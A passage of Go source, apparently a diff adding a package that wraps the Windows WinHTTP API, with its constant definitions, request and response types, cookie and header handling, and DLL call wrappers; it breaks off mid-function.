ErrorWinhttpSecureCertCnInvalid uintptr = (WinhttpErrorBase + 38)
ErrorWinhttpClientAuthCertNeeded uintptr = (WinhttpErrorBase + 44)
ErrorWinhttpSecureInvalidCa uintptr = (WinhttpErrorBase + 45)
ErrorWinhttpSecureCertRevFailed uintptr = (WinhttpErrorBase + 57)
ErrorWinhttpCannotCallBeforeOpen uintptr = (WinhttpErrorBase + 100)
ErrorWinhttpCannotCallBeforeSend uintptr = (WinhttpErrorBase + 101)
ErrorWinhttpCannotCallAfterSend uintptr = (WinhttpErrorBase + 102)
ErrorWinhttpCannotCallAfterOpen uintptr = (WinhttpErrorBase + 103)
ErrorWinhttpHeaderNotFound uintptr = (WinhttpErrorBase + 150)
ErrorWinhttpInvalidServerResponse uintptr = (WinhttpErrorBase + 152)
ErrorWinhttpInvalidHeader uintptr = (WinhttpErrorBase + 153)
ErrorWinhttpInvalidQueryRequest uintptr = (WinhttpErrorBase + 154)
ErrorWinhttpHeaderAlreadyExists uintptr = (WinhttpErrorBase + 155)
ErrorWinhttpRedirectFailed uintptr = (WinhttpErrorBase + 156)
ErrorWinhttpSecureChannelError uintptr = (WinhttpErrorBase + 157)
ErrorWinhttpBadAutoProxyScript uintptr = (WinhttpErrorBase + 166)
ErrorWinhttpUnableToDownloadScript uintptr = (WinhttpErrorBase + 167)
ErrorWinhttpSecureInvalidCert uintptr = (WinhttpErrorBase + 169)
ErrorWinhttpSecureCertRevoked uintptr = (WinhttpErrorBase + 170)
ErrorWinhttpNotInitialized uintptr = (WinhttpErrorBase + 172)
ErrorWinhttpSecureFailure uintptr = (WinhttpErrorBase + 175)
ErrorWinhttpUnhandledScriptType uintptr = (WinhttpErrorBase + 176)
ErrorWinhttpScriptExecutionError uintptr = (WinhttpErrorBase + 177)
ErrorWinhttpAutoProxyServiceError uintptr = (WinhttpErrorBase + 178)
ErrorWinhttpSecureCertWrongUsage uintptr = (WinhttpErrorBase + 179)
ErrorWinhttpAutodetectionFailed uintptr = (WinhttpErrorBase + 180)
ErrorWinhttpHeaderCountExceeded uintptr = (WinhttpErrorBase + 181)
ErrorWinhttpHeaderSizeOverflow uintptr = (WinhttpErrorBase + 182)
ErrorWinhttpChunkedEncodingHeaderSizeOverflow uintptr = (WinhttpErrorBase + 183)
ErrorWinhttpResponseDrainOverflow uintptr = (WinhttpErrorBase + 184)
ErrorWinhttpClientCertNoPrivateKey uintptr = (WinhttpErrorBase + 185)
ErrorWinhttpClientCertNoAccessPrivateKey uintptr = (WinhttpErrorBase + 186)
ErrorWinhttpClientAuthCertNeededProxy uintptr = (WinhttpErrorBase + 187)
ErrorWinhttpSecureFailureProxy uintptr = (WinhttpErrorBase + 188)
ErrorWinhttpReserved189 uintptr = (WinhttpErrorBase + 189)
ErrorWinhttpHTTPProtocolMismatch uintptr = (WinhttpErrorBase + 190)
WinhttpErrorLast uintptr = (WinhttpErrorBase + 188)
WinhttpResetState uintptr = 0x00000001
WinhttpResetSwpadCurrentNetwork uintptr = 0x00000002
WinhttpResetSwpadAll uintptr = 0x00000004
WinhttpResetScriptCache uintptr = 0x00000008
WinhttpResetAll uintptr = 0x0000FFFF
WinhttpResetNotifyNetworkChanged uintptr = 0x00010000
WinhttpResetOutOfProc uintptr = 0x00020000
WinhttpResetDiscardResolvers uintptr = 0x00040000
HTTPStatusContinue uintptr = 100
HTTPStatusSwitchProtocols uintptr = 101
HTTPStatusOk uintptr = 200
HTTPStatusCreated uintptr = 201
HTTPStatusAccepted uintptr = 202
HTTPStatusPartial uintptr = 203
HTTPStatusNoContent uintptr = 204
HTTPStatusResetContent uintptr = 205
HTTPStatusPartialContent uintptr = 206
HTTPStatusWebdavMultiStatus uintptr = 207
HTTPStatusAmbiguous uintptr = 300
HTTPStatusMoved uintptr = 301
HTTPStatusRedirect uintptr = 302
HTTPStatusRedirectMethod uintptr = 303
HTTPStatusNotModified uintptr = 304
HTTPStatusUseProxy uintptr = 305
HTTPStatusRedirectKeepVerb uintptr = 307
HTTPStatusPermanentRedirect uintptr = 308
HTTPStatusBadRequest uintptr = 400
HTTPStatusDenied uintptr = 401
HTTPStatusPaymentReq uintptr = 402
HTTPStatusForbidden uintptr = 403
HTTPStatusNotFound uintptr = 404
HTTPStatusBadMethod uintptr = 405
HTTPStatusNoneAcceptable uintptr = 406
HTTPStatusProxyAuthReq uintptr = 407
HTTPStatusRequestTimeout uintptr = 408
HTTPStatusConflict uintptr = 409
HTTPStatusGone uintptr = 410
HTTPStatusLengthRequired uintptr = 411
HTTPStatusPrecondFailed uintptr = 412
HTTPStatusRequestTooLarge uintptr = 413
HTTPStatusUriTooLong uintptr = 414
HTTPStatusUnsupportedMedia uintptr = 415
HTTPStatusRetryWith uintptr = 449
HTTPStatusServerError uintptr = 500
HTTPStatusNotSupported uintptr = 501
HTTPStatusBadGateway uintptr = 502
HTTPStatusServiceUnavail uintptr = 503
HTTPStatusGatewayTimeout uintptr = 504
HTTPStatusVersionNotSup uintptr = 505
HTTPStatusFirst uintptr = HTTPStatusContinue
HTTPStatusLast uintptr = HTTPStatusVersionNotSup
SecurityFlagIgnoreUnknownCa uintptr = 0x00000100
SecurityFlagIgnoreCertDateInvalid uintptr = 0x00002000
SecurityFlagIgnoreCertCnInvalid uintptr = 0x00001000
SecurityFlagIgnoreCertWrongUsage uintptr = 0x00000200
SecurityFlagSecure uintptr = 0x00000001
SecurityFlagStrengthWeak uintptr = 0x10000000
SecurityFlagStrengthMedium uintptr = 0x40000000
SecurityFlagStrengthStrong uintptr = 0x20000000
IcuNoEncode uintptr = 0x20000000
IcuDecode uintptr = 0x10000000
IcuNoMeta uintptr = 0x08000000
IcuEncodeSpacesOnly uintptr = 0x04000000
IcuBrowserMode uintptr = 0x02000000
IcuEncodePercent uintptr = 0x00001000
WinhttpQueryMimeVersion uintptr = 0
WinhttpQueryContentType uintptr = 1
WinhttpQueryContentTransferEncoding uintptr = 2
WinhttpQueryContentId uintptr = 3
WinhttpQueryContentDescription uintptr = 4
WinhttpQueryContentLength uintptr = 5
WinhttpQueryContentLanguage uintptr = 6
WinhttpQueryAllow uintptr = 7
WinhttpQueryPublic uintptr = 8
WinhttpQueryDate uintptr = 9
WinhttpQueryExpires uintptr = 10
WinhttpQueryLastModified uintptr = 11
WinhttpQueryMessageId uintptr = 12
WinhttpQueryUri uintptr = 13
WinhttpQueryDerivedFrom uintptr = 14
WinhttpQueryCost uintptr = 15
WinhttpQueryLink uintptr = 16
WinhttpQueryPragma uintptr = 17
WinhttpQueryVersion uintptr = 18
WinhttpQueryStatusCode uintptr = 19
WinhttpQueryStatusText uintptr = 20
WinhttpQueryRawHeaders uintptr = 21
WinhttpQueryRawHeadersCRLF uintptr = 22
WinhttpQueryConnection uintptr = 23
WinhttpQueryAccept uintptr = 24
WinhttpQueryAcceptCharset uintptr = 25
WinhttpQueryAcceptEncoding uintptr = 26
WinhttpQueryAcceptLanguage uintptr = 27
WinhttpQueryAuthorization uintptr = 28
WinhttpQueryContentEncoding uintptr = 29
WinhttpQueryForwarded uintptr = 30
WinhttpQueryFrom uintptr = 31
WinhttpQueryIfModifiedSince uintptr = 32
WinhttpQueryLocation uintptr = 33
WinhttpQueryOrigUri uintptr = 34
WinhttpQueryReferer uintptr = 35
WinhttpQueryRetryAfter uintptr = 36
WinhttpQueryServer uintptr = 37
WinhttpQueryTitle uintptr = 38
WinhttpQueryUserAgent uintptr = 39
WinhttpQueryWwwAuthenticate uintptr = 40
WinhttpQueryProxyAuthenticate uintptr = 41
WinhttpQueryAcceptRanges uintptr = 42
WinhttpQuerySetCookie uintptr = 43
WinhttpQueryCookie uintptr = 44
WinhttpQueryRequestMethod uintptr = 45
WinhttpQueryRefresh uintptr = 46
WinhttpQueryContentDisposition uintptr = 47
WinhttpQueryAge uintptr = 48
WinhttpQueryCacheControl uintptr = 49
WinhttpQueryContentBase uintptr = 50
WinhttpQueryContentLocation uintptr = 51
WinhttpQueryContentMd5 uintptr = 52
WinhttpQueryContentRange uintptr = 53
WinhttpQueryEtag uintptr = 54
WinhttpQueryHost uintptr = 55
WinhttpQueryIfMatch uintptr = 56
WinhttpQueryIfNoneMatch uintptr = 57
WinhttpQueryIfRange uintptr = 58
WinhttpQueryIfUnmodifiedSince uintptr = 59
WinhttpQueryMaxForwards uintptr = 60
WinhttpQueryProxyAuthorization uintptr = 61
WinhttpQueryRange uintptr = 62
WinhttpQueryTransferEncoding uintptr = 63
WinhttpQueryUpgrade uintptr = 64
WinhttpQueryVary uintptr = 65
WinhttpQueryVia uintptr = 66
WinhttpQueryWarning uintptr = 67
WinhttpQueryExpect uintptr = 68
WinhttpQueryProxyConnection uintptr = 69
WinhttpQueryUnlessModifiedSince uintptr = 70
WinhttpQueryProxySupport uintptr = 75
WinhttpQueryAuthenticationInfo uintptr = 76
WinhttpQueryPassportUrls uintptr = 77
WinhttpQueryPassportConfig uintptr = 78
WinhttpQueryMax uintptr = 78
WinhttpQueryCustom uintptr = 65535
WinhttpQueryFlagRequestHeaders uintptr = 0x80000000
WinhttpQueryFlagSystemtime uintptr = 0x40000000
WinhttpQueryFlagNumber uintptr = 0x20000000
WinhttpQueryFlagNumber64 uintptr = 0x08000000
WinhttpCallbackStatusResolvingName uintptr = 0x00000001
WinhttpCallbackStatusNameResolved uintptr = 0x00000002
WinhttpCallbackStatusConnectingToServer uintptr = 0x00000004
WinhttpCallbackStatusConnectedToServer uintptr = 0x00000008
WinhttpCallbackStatusSendingRequest uintptr = 0x00000010
WinhttpCallbackStatusRequestSent uintptr = 0x00000020
WinhttpCallbackStatusReceivingResponse uintptr = 0x00000040
WinhttpCallbackStatusResponseReceived uintptr = 0x00000080
WinhttpCallbackStatusClosingConnection uintptr = 0x00000100
WinhttpCallbackStatusConnectionClosed uintptr = 0x00000200
WinhttpCallbackStatusHandleCreated uintptr = 0x00000400
WinhttpCallbackStatusHandleClosing uintptr = 0x00000800
WinhttpCallbackStatusDetectingProxy uintptr = 0x00001000
WinhttpCallbackStatusRedirect uintptr = 0x00004000
WinhttpCallbackStatusIntermediateResponse uintptr = 0x00008000
WinhttpCallbackStatusSecureFailure uintptr = 0x00010000
WinhttpCallbackStatusHeadersAvailable uintptr = 0x00020000
WinhttpCallbackStatusDataAvailable uintptr = 0x00040000
WinhttpCallbackStatusReadComplete uintptr = 0x00080000
WinhttpCallbackStatusWriteComplete uintptr = 0x00100000
WinhttpCallbackStatusRequestError uintptr = 0x00200000
WinhttpCallbackStatusSendrequestComplete uintptr = 0x00400000
WinhttpCallbackStatusGetproxyforurlComplete uintptr = 0x01000000
WinhttpCallbackStatusCloseComplete uintptr = 0x02000000
WinhttpCallbackStatusShutdownComplete uintptr = 0x04000000
WinhttpCallbackStatusSettingsWriteComplete uintptr = 0x10000000
WinhttpCallbackStatusSettingsReadComplete uintptr = 0x20000000
WinhttpCallbackFlagResolveName uintptr = (WinhttpCallbackStatusResolvingName | WinhttpCallbackStatusNameResolved)
WinhttpCallbackFlagConnectToServer uintptr = (WinhttpCallbackStatusConnectingToServer | WinhttpCallbackStatusConnectedToServer)
WinhttpCallbackFlagSendRequest uintptr = (WinhttpCallbackStatusSendingRequest | WinhttpCallbackStatusRequestSent)
WinhttpCallbackFlagReceiveResponse uintptr = (WinhttpCallbackStatusReceivingResponse | WinhttpCallbackStatusResponseReceived)
WinhttpCallbackFlagCloseConnection uintptr = (WinhttpCallbackStatusClosingConnection | WinhttpCallbackStatusConnectionClosed)
WinhttpCallbackFlagHandles uintptr = (WinhttpCallbackStatusHandleCreated | WinhttpCallbackStatusHandleClosing)
WinhttpCallbackFlagDetectingProxy uintptr = WinhttpCallbackStatusDetectingProxy
WinhttpCallbackFlagRedirect uintptr = WinhttpCallbackStatusRedirect
WinhttpCallbackFlagIntermediateResponse uintptr = WinhttpCallbackStatusIntermediateResponse
WinhttpCallbackFlagSecureFailure uintptr = WinhttpCallbackStatusSecureFailure
WinhttpCallbackFlagSendrequestComplete uintptr = WinhttpCallbackStatusSendrequestComplete
WinhttpCallbackFlagHeadersAvailable uintptr = WinhttpCallbackStatusHeadersAvailable
WinhttpCallbackFlagDataAvailable uintptr = WinhttpCallbackStatusDataAvailable
WinhttpCallbackFlagReadComplete uintptr = WinhttpCallbackStatusReadComplete
WinhttpCallbackFlagWriteComplete uintptr = WinhttpCallbackStatusWriteComplete
WinhttpCallbackFlagRequestError uintptr = WinhttpCallbackStatusRequestError
WinhttpCallbackFlagGetproxyforurlComplete uintptr = WinhttpCallbackStatusGetproxyforurlComplete
WinhttpCallbackFlagAllCompletions uintptr = (WinhttpCallbackStatusSendrequestComplete | WinhttpCallbackStatusHeadersAvailable | WinhttpCallbackStatusDataAvailable | WinhttpCallbackStatusReadComplete | WinhttpCallbackStatusWriteComplete | WinhttpCallbackStatusRequestError | WinhttpCallbackStatusGetproxyforurlComplete)
WinhttpCallbackFlagAllNotifications uintptr = 0xffffffff
ApiReceiveResponse uintptr = (1)
ApiQueryDataAvailable uintptr = (2)
ApiReadData uintptr = (3)
ApiWriteData uintptr = (4)
ApiSendRequest uintptr = (5)
ApiGetProxyForUrl uintptr = (6)
WinhttpHandleTypeSession uintptr = 1
WinhttpHandleTypeConnect uintptr = 2
WinhttpHandleTypeRequest uintptr = 3
WinhttpCallbackStatusFlagCertRevFailed uintptr = 0x00000001
WinhttpCallbackStatusFlagInvalidCert uintptr = 0x00000002
WinhttpCallbackStatusFlagCertRevoked uintptr = 0x00000004
WinhttpCallbackStatusFlagInvalidCa uintptr = 0x00000008
WinhttpCallbackStatusFlagCertCnInvalid uintptr = 0x00000010
WinhttpCallbackStatusFlagCertDateInvalid uintptr = 0x00000020
WinhttpCallbackStatusFlagCertWrongUsage uintptr = 0x00000040
WinhttpCallbackStatusFlagSecurityChannelError uintptr = 0x80000000
WinhttpFlagSecureProtocolSsl2 uintptr = 0x00000008
WinhttpFlagSecureProtocolSsl3 uintptr = 0x00000020
WinhttpFlagSecureProtocolTls1 uintptr = 0x00000080
WinhttpFlagSecureProtocolTls11 uintptr = 0x00000200
WinhttpFlagSecureProtocolTls12 uintptr = 0x00000800
WinhttpFlagSecureProtocolTls13 uintptr = 0x00002000
WinhttpFlagSecureProtocolAll uintptr = (WinhttpFlagSecureProtocolSsl2 | WinhttpFlagSecureProtocolSsl3 | WinhttpFlagSecureProtocolTls1)
WinhttpAuthSchemeBasic uintptr = 0x00000001
WinhttpAuthSchemeNtlm uintptr = 0x00000002
WinhttpAuthSchemePassport uintptr = 0x00000004
WinhttpAuthSchemeDigest uintptr = 0x00000008
WinhttpAuthSchemeNegotiate uintptr = 0x00000010
WinhttpAuthTargetServer uintptr = 0x00000000
WinhttpAuthTargetProxy uintptr = 0x00000001
WinhttpTimeFormatBufsize uintptr = 62
WinhttpAutoDetectTypeDhcp uintptr = 0x00000001
WinhttpAutoDetectTypeDnsA uintptr = 0x00000002
WinhttpAutoproxyAutoDetect uintptr = 0x00000001
WinhttpAutoproxyConfigUrl uintptr = 0x00000002
WinhttpAutoproxyHostKeepcase uintptr = 0x00000004
WinhttpAutoproxyHostLowercase uintptr = 0x00000008
WinhttpAutoproxyAllowAutoconfig uintptr = 0x00000100
WinhttpAutoproxyAllowStatic uintptr = 0x00000200
WinhttpAutoproxyAllowCm uintptr = 0x00000400
WinhttpAutoproxyRunInprocess uintptr = 0x00010000
WinhttpAutoproxyRunOutprocessOnly uintptr = 0x00020000
WinhttpAutoproxyNoDirectaccess uintptr = 0x00040000
WinhttpAutoproxyNoCacheClient uintptr = 0x00080000
WinhttpAutoproxyNoCacheSvc uintptr = 0x00100000
WinhttpAutoproxySortResults uintptr = 0x00400000
NetworkingKeyBufsize uintptr = 128
WinhttpRequestStatFlagTcpFastOpen uintptr = 0x00000001
WinhttpRequestStatFlagTlsSessionResumption uintptr = 0x00000002
WinhttpRequestStatFlagTlsFalseStart uintptr = 0x00000004
WinhttpRequestStatFlagProxyTlsSessionResumption uintptr = 0x00000008
WinhttpRequestStatFlagProxyTlsFalseStart uintptr = 0x00000010
WinhttpRequestStatFlagFirstRequest uintptr = 0x00000020
WinhttpWebSocketMaxCloseReasonLength uintptr = 123
WinhttpWebSocketMinKeepaliveValue uintptr = 15000
)
@@ -0,0 +1,20 @@
package winhttp
import "errors"
// ErrNoCookie is returned by Request's Cookie method when a cookie is
// not found.
var ErrNoCookie = errors.New("named cookie not present")
// Common HTTP methods.
const (
MethodConnect string = "CONNECT"
MethodDelete string = "DELETE"
MethodGet string = "GET"
MethodHead string = "HEAD"
MethodOptions string = "OPTIONS"
MethodPatch string = "PATCH"
MethodPost string = "POST"
MethodPut string = "PUT"
MethodTrace string = "TRACE"
)
@@ -0,0 +1,55 @@
package winhttp
// Request is a struct containing common HTTP request data.
type Request struct {
Body []byte
cookies []*Cookie
Headers map[string]string
Method string
URL string
}
// NewRequest will return a pointer to a new Request instance.
func NewRequest(method, url string, body ...[]byte) *Request {
var b []byte
if len(body) > 0 {
b = body[0]
}
return &Request{
Body: b,
Headers: map[string]string{},
Method: method,
URL: url,
}
}
// AddCookie will add a Cookie to the Request.
func (r *Request) AddCookie(cookie *Cookie) {
for i, c := range r.cookies {
if cookie.Name == c.Name {
r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
break
}
}
r.cookies = append(r.cookies, cookie)
}
// Cookie will return the named Cookie provided in the Request or
// ErrNoCookie, if not found.
func (r *Request) Cookie(name string) (*Cookie, error) {
for _, c := range r.cookies {
if name == c.Name {
return c, nil
}
}
return nil, ErrNoCookie
}
// Cookies will return the HTTP cookies provided in the Request.
func (r *Request) Cookies() []*Cookie {
return r.cookies
}
@@ -0,0 +1,45 @@
package winhttp
import "io"
// Response is a struct containing common HTTP response data.
type Response struct {
Body io.ReadCloser
cookies []*Cookie
ContentLength int64
Header map[string][]string
Proto string
ProtoMajor int
ProtoMinor int
Status string
StatusCode int
}
// AddCookie will add a Cookie to the Request.
func (r *Response) AddCookie(cookie *Cookie) {
for i, c := range r.cookies {
if cookie.Name == c.Name {
r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
break
}
}
r.cookies = append(r.cookies, cookie)
}
// Cookie will return the named Cookie provided in the Response or
// ErrNoCookie, if not found.
func (r *Response) Cookie(name string) (*Cookie, error) {
for _, c := range r.cookies {
if name == c.Name {
return c, nil
}
}
return nil, ErrNoCookie
}
// Cookies will return the HTTP cookies provided in the Response.
func (r *Response) Cookies() []*Cookie {
return r.cookies
}
@@ -0,0 +1,358 @@
package winhttp
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"net/url"
"strconv"
"strings"
)
func convertFail(str string, e error) error {
return fmt.Errorf(
"failed to convert %s to Windows type: %w",
str,
e,
)
}
func buildRequest(sessionHandle uintptr, req *Request) (uintptr, error) {
var connHandle uintptr
var err error
var flags uintptr
var port int64
var query string
var reqHandle uintptr
var uri *url.URL
// Parse URL
if uri, err = url.Parse(req.URL); err != nil {
return 0, fmt.Errorf("failed to parse url %s: %w", req.URL, err)
}
if uri.Port() != "" {
if port, err = strconv.ParseInt(uri.Port(), 10, 64); err != nil {
err = fmt.Errorf("port %s invalid: %w", uri.Port(), err)
return 0, err
}
}
switch uri.Scheme {
case "https":
flags = WinhttpFlagSecure
}
// Create connection
connHandle, err = Connect(
sessionHandle,
uri.Hostname(),
int(port),
)
if err != nil {
return 0, fmt.Errorf("failed to create connection: %w", err)
}
// Send query string too
if uri.RawQuery != "" {
query = "?" + uri.RawQuery
}
// Create HTTP request
reqHandle, err = OpenRequest(
connHandle,
req.Method,
uri.Path+query,
"",
"",
[]string{},
flags,
)
if err != nil {
return 0, fmt.Errorf("failed to open request: %w", err)
}
return reqHandle, nil
}
func buildResponse(reqHandle uintptr, req *Request) (*Response, error) {
var buf []byte
var body io.ReadCloser
var code int64
var contentLen int64
var cookies []*Cookie
var err error
var headers map[string][]string
var major int
var minor int
var proto string
var resp *Response
var status string
// Get response
if err = ReceiveResponse(reqHandle); err != nil {
return nil, fmt.Errorf("failed to get response: %w", err)
}
// Get status code
buf, err = queryResponse(reqHandle, WinhttpQueryStatusCode, 0)
if err != nil {
return nil, err
}
status = string(buf)
if code, err = strconv.ParseInt(status, 10, 64); err != nil {
return nil, fmt.Errorf("status %s invalid: %w", status, err)
}
// Get status text
buf, err = queryResponse(reqHandle, WinhttpQueryStatusText, 0)
if err != nil {
return nil, err
} else if len(buf) > 0 {
status += " " + string(buf)
}
// Parse cookies
cookies = getCookies(reqHandle)
// Parse headers and proto
if proto, major, minor, headers, err = getHeaders(reqHandle); err != nil {
return nil, err
}
// Read response body
if body, contentLen, err = readResponse(reqHandle); err != nil {
return nil, err
}
resp = &Response{
Body: body,
ContentLength: contentLen,
Header: headers,
Proto: proto,
ProtoMajor: major,
ProtoMinor: minor,
Status: status,
StatusCode: int(code),
}
// Concat all cookies
for _, c := range req.Cookies() {
resp.AddCookie(c)
}
for _, c := range cookies {
resp.AddCookie(c)
}
return resp, nil
}
func getCookies(reqHandle uintptr) []*Cookie {
var buf []byte
var cookies []*Cookie
var err error
var tmp []string
// Get cookies
for index := 0; ; index++ {
buf, err = queryResponse(
reqHandle,
WinhttpQuerySetCookie,
index,
)
if err != nil {
break
}
tmp = strings.SplitN(string(buf), "=", 2)
cookies = append(
cookies,
&Cookie{Name: tmp[0], Value: tmp[1]},
)
}
return cookies
}
func getHeaders(reqHandle uintptr) (string, int, int, map[string][]string, error) {
var buf []byte
var err error
var headers = map[string][]string{}
var major int64
var minor int64
var proto string
var tmp []string
// Get headers
buf, err = queryResponse(
reqHandle,
WinhttpQueryRawHeadersCRLF,
0,
)
if err != nil {
return "", 0, 0, nil, err
}
for _, hdr := range strings.Split(string(buf), "\r\n") {
tmp = strings.SplitN(hdr, ": ", 2)
if len(tmp) == 2 {
if _, ok := headers[tmp[0]]; !ok {
headers[tmp[0]] = []string{}
}
headers[tmp[0]] = append(headers[tmp[0]], tmp[1])
} else if strings.HasPrefix(hdr, "HTTP") {
proto = strings.Fields(hdr)[0]
tmp = strings.Split(proto, ".")
if len(tmp) >= 2 {
tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
major, err = strconv.ParseInt(tmp[0], 10, 64)
if err != nil {
err = fmt.Errorf("invalid HTTP version: %w", err)
return "", 0, 0, nil, err
}
minor, err = strconv.ParseInt(tmp[1], 10, 64)
if err != nil {
err = fmt.Errorf("invalid HTTP version: %w", err)
return "", 0, 0, nil, err
}
}
}
}
return proto, int(major), int(minor), headers, nil
}
func queryResponse(reqHandle, info uintptr, idx int) ([]byte, error) {
var buffer []byte
var err error
var size int
if idx < 0 {
idx = 0
}
err = QueryHeaders(
reqHandle,
info,
"",
&buffer,
&size,
&idx,
)
if err != nil {
buffer = make([]byte, size)
err = QueryHeaders(
reqHandle,
info,
"",
&buffer,
&size,
&idx,
)
if err != nil {
err = fmt.Errorf("failed to query info: %w", err)
return []byte{}, err
}
}
return buffer, nil
}
func readResponse(reqHandle uintptr) (io.ReadCloser, int64, error) {
var buf []byte
var chunk []byte
var chunkLen int64
var contentLen int64
var err error
var n int64
// Get Content-Length and body of response
for {
// Get next chunk size
err = QueryDataAvailable(reqHandle, &chunkLen)
if err != nil {
err = fmt.Errorf("failed to query data available: %w", err)
break
}
// Stop, if finished
if chunkLen == 0 {
break
}
// Read next chunk
err = ReadData(reqHandle, &chunk, chunkLen, &n)
if err != nil {
err = fmt.Errorf("failed to read data: %w", err)
break
}
// Update fields
contentLen += chunkLen
buf = append(buf, chunk...)
}
if err != nil {
return nil, 0, err
}
return ioutil.NopCloser(bytes.NewReader(buf)), contentLen, nil
}
func sendRequest(reqHandle uintptr, req *Request) error {
var err error
var method uintptr
// Process cookies
method = WinhttpAddreqFlagAdd
method |= WinhttpAddreqFlagCoalesceWithSemicolon
for _, c := range req.Cookies() {
err = AddRequestHeaders(
reqHandle,
"Cookie: "+c.Name+"="+c.Value,
method,
)
if err != nil {
return fmt.Errorf("failed to add cookies: %w", err)
}
}
// Process headers
method = WinhttpAddreqFlagAdd
method |= WinhttpAddreqFlagReplace
for k, v := range req.Headers {
err = AddRequestHeaders(
reqHandle,
k+": "+v,
method,
)
if err != nil {
return fmt.Errorf("failed to add request headers: %w", err)
}
}
// Send HTTP request
err = SendRequest(
reqHandle,
"",
0,
req.Body,
len(req.Body),
)
if err != nil {
return fmt.Errorf("failed to send request: %w", err)
}
return nil
}
@@ -0,0 +1,3 @@
package winhttp
//go:generate go run ../tools/defines.go winhttp /usr/x86_64-w64-mingw32/include/winhttp.h
@@ -0,0 +1,405 @@
package winhttp
import (
"fmt"
"strings"
"unsafe"
"golang.org/x/sys/windows"
)
var winhttp *windows.LazyDLL = windows.NewLazySystemDLL("Winhttp")
// AddRequestHeaders is WinHttpAddRequestHeaders from winhttp.h
func AddRequestHeaders(
reqHndl uintptr,
header string,
addMethod uintptr,
) error {
var e error
var ok uintptr
var proc string = "WinHttpAddRequestHeaders"
var pswzHeader uintptr
var tmp *uint16
if header == "" {
// Weird, just do nothing
return nil
}
header = strings.TrimSpace(header) + "\r\n"
// Convert to Windows types
if tmp, e = windows.UTF16PtrFromString(header); e != nil {
return convertFail(header, e)
}
pswzHeader = uintptr(unsafe.Pointer(tmp))
ok, _, e = winhttp.NewProc(proc).Call(
reqHndl,
pswzHeader,
uintptr(len(header)),
addMethod,
)
if ok == 0 {
return fmt.Errorf("%s: %w", proc, e)
}
return nil
}
// Connect is WinHttpConnect from winhttp.h
func Connect(
sessionHndl uintptr,
serverName string,
serverPort int,
) (uintptr, error) {
var connHndl uintptr
var e error
var proc string = "WinHttpConnect"
var pswzServerName uintptr
var tmp *uint16
// Convert to Windows types
if serverName != "" {
if tmp, e = windows.UTF16PtrFromString(serverName); e != nil {
return 0, convertFail(serverName, e)
}
pswzServerName = uintptr(unsafe.Pointer(tmp))
}
connHndl, _, e = winhttp.NewProc(proc).Call(
sessionHndl,
pswzServerName,
uintptr(serverPort),
0,
)
if connHndl == 0 {
return 0, fmt.Errorf("%s: %w", proc, e)
}
return connHndl, nil
}
// Open is WinHttpOpen from winhttp.h
func Open(
userAgent string,
accessType uintptr,
proxy string,
proxyBypass string,
flags uintptr,
) (uintptr, error) {
var e error
var proc string = "WinHttpOpen"
var pszAgent uintptr
var pszProxy uintptr
var pszProxyBypass uintptr
var sessionHndl uintptr
var tmp *uint16
// Convert to Windows types
if userAgent != "" {
if tmp, e = windows.UTF16PtrFromString(userAgent); e != nil {
return 0, convertFail(userAgent, e)
}
pszAgent = uintptr(unsafe.Pointer(tmp))
}
if proxy != "" {
if tmp, e = windows.UTF16PtrFromString(proxy); e != nil {
return 0, convertFail(proxy, e)
}
pszProxy = uintptr(unsafe.Pointer(tmp))
}
if proxyBypass != "" {
tmp, e = windows.UTF16PtrFromString(proxyBypass)
if e != nil {
return 0, convertFail(proxyBypass, e)
}
pszProxyBypass = uintptr(unsafe.Pointer(tmp))
}
sessionHndl, _, e = winhttp.NewProc(proc).Call(
pszAgent,
accessType,
pszProxy,
pszProxyBypass,
flags,
)
if sessionHndl == 0 {
return 0, fmt.Errorf("%s: %w", proc, e)
}
return sessionHndl, nil
}
// OpenRequest is WinHttpOpenRequest from winhttp.h
func OpenRequest(
connHndl uintptr,
verb string,
objectName string,
version string,
referrer string,
acceptTypes []string,
flags uintptr,
) (uintptr, error) {
var e error
var ppwszAcceptTypes []*uint16
var proc string = "WinHttpOpenRequest"
var pwszObjectName uintptr
var pwszReferrer uintptr
var pwszVerb uintptr
var pwszVersion uintptr
var reqHndl uintptr
var tmp *uint16
// Convert to Windows types
ppwszAcceptTypes = make([]*uint16, 1)
for _, theType := range acceptTypes {
if theType == "" {
continue
}
tmp, e = windows.UTF16PtrFromString(theType)
if e != nil {
return 0, convertFail(theType, e)
}
ppwszAcceptTypes = append(ppwszAcceptTypes, tmp)
}
if objectName != "" {
if tmp, e = windows.UTF16PtrFromString(objectName); e != nil {
return 0, convertFail(objectName, e)
}
pwszObjectName = uintptr(unsafe.Pointer(tmp))
}
if referrer != "" {
if tmp, e = windows.UTF16PtrFromString(referrer); e != nil {
return 0, convertFail(referrer, e)
}
pwszReferrer = uintptr(unsafe.Pointer(tmp))
}
if verb != "" {
if tmp, e = windows.UTF16PtrFromString(verb); e != nil {
return 0, convertFail(verb, e)
}
pwszVerb = uintptr(unsafe.Pointer(tmp))
}
if version != "" {
if tmp, e = windows.UTF16PtrFromString(version); e != nil {
return 0, convertFail(version, e)
}
pwszVersion = uintptr(unsafe.Pointer(tmp))
}
reqHndl, _, e = winhttp.NewProc(proc).Call(
connHndl,
pwszVerb,
pwszObjectName,
pwszVersion,
pwszReferrer,
uintptr(unsafe.Pointer(&ppwszAcceptTypes[0])),
flags,
)
if reqHndl == 0 {
return 0, fmt.Errorf("%s: %w", proc, e)
}
return reqHndl, nil
}
// QueryDataAvailable is WinHttpQueryDataAvailable from winhttp.h
func QueryDataAvailable(reqHndl uintptr, bytesToRead *int64) error {
var e error
var proc string = "WinHttpQueryDataAvailable"
var success uintptr
success, _, e = winhttp.NewProc(proc).Call(
reqHndl,
uintptr(unsafe.Pointer(bytesToRead)),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, e)
}
return nil
}
// QueryHeaders is WinHttpQueryHeaders from winhttp.h
func QueryHeaders(
reqHndl uintptr,
info uintptr,
name string,
buffer *[]byte,
bufferLen *int,
index *int,
) error {
var b []uint16
var e error
var proc string = "WinHttpQueryHeaders"
var pwszName uintptr
var success uintptr
var tmp *uint16
// Convert to Windows types
if *bufferLen > 0 {
b = make([]uint16, *bufferLen)
} else {
b = make([]uint16, 1)
}
if (name != "") && (info == WinhttpQueryCustom) {
if tmp, e = windows.UTF16PtrFromString(name); e != nil {
return convertFail(name, e)
}
